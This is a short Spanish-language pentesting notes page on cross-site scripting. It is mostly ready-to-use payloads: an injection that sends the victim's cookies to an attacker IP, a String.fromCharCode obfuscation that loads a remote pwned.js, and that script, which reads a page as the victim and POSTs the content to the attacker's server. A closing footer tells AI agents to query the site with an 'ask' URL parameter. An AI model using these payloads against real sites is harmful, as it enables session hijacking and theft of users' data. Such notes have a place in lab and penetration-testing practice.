# XSS

## Inyección básica

```
<img src="asd><script>document.location("http://10.10.16.6/?cookie=' + document.cookie + '</script>">
```

## Técnicas de bypass

## Uso de String.fromCharacter()

### Creación de secuencia de caracteres

```
Python 3.10.9 (main, Dec  7 2022, 13:47:07) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> cadena = """document.write('<script src="http://10.10.16.6/pwned.js"></script>');"""
>>> for character in cadena:
...     print(ord(character))
```

### Nuevo payload

```
<img src="asd><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,54,47,112,119,110,101,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59));</script>">
```

## Ejemplo de `pwned.js` (Dumpeo del contenido tal y como lo ve el otro usuario)

```
var peticion = new XMLHttpRequest();
peticion.open('GET', 'http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65', false);
peticion.send();

var respuesta = peticion.responseText;

var peticion2 = new XMLHttpRequest();
peticion2.open('POST', 'http://10.10.16.6:81/codigofuente', true);
peticion2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

var respuestacoded = encodeURIComponent(respuesta);
peticion2.send(respuestacoded);
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.rubbx.com/notes/pentesting-web/xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
